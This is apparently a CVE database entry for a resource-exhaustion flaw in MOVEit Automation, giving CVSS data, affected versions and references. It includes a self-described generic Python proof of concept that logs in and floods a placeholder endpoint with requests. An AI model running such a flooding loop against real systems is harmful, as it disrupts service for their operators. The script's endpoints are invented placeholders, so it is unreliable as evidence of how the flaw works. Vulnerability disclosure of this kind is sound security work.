CVE-2026-8488

Description

Allocation of resources without limits or throttling vulnerability in Progress Software MOVEit Automation allows Excessive Allocation. This issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

MOVEit Automation < 2025.0.11

MOVEit Automation >= 2025.1.0, < 2025.1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

# Conceptual PoC for Resource Exhaustion (CVE-2026-8488)
# Note: This is a generic template as specific endpoints are not disclosed.

target_url = "https://<target-ip>/<vulnerable-endpoint>"
session = requests.Session()

# Authenticate with low privilege user (PR:L required)
login_data = {"username": "low_priv_user", "password": "password"}
session.post(target_url + "/login", data=login_data)

headers = {"User-Agent": "CVE-2026-8488-PoC"}

print("Starting resource allocation attack...")

# Loop to trigger excessive allocation without limits
try:
    while True:
        # Send request that triggers resource allocation
        response = session.get(target_url + "/trigger_endpoint", headers=headers, timeout=5)
        if response.status_code == 200:
            print(f"Request sent, resource utilized...")
        else:
            print(f"Unexpected status code: {response.status_code}")
        time.sleep(0.1)  # Control rate to avoid immediate network timeout before resource exhaustion
except KeyboardInterrupt:
    print("\nAttack stopped by user.")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8488
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8488
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8488/
[4] VulDB https://vuldb.com/cve/CVE-2026-8488
[5] https://docs.progress.com/bundle/moveit-automation-release-notes-2026/page/Fixed-Issues-2026.html

Raw JSON Data

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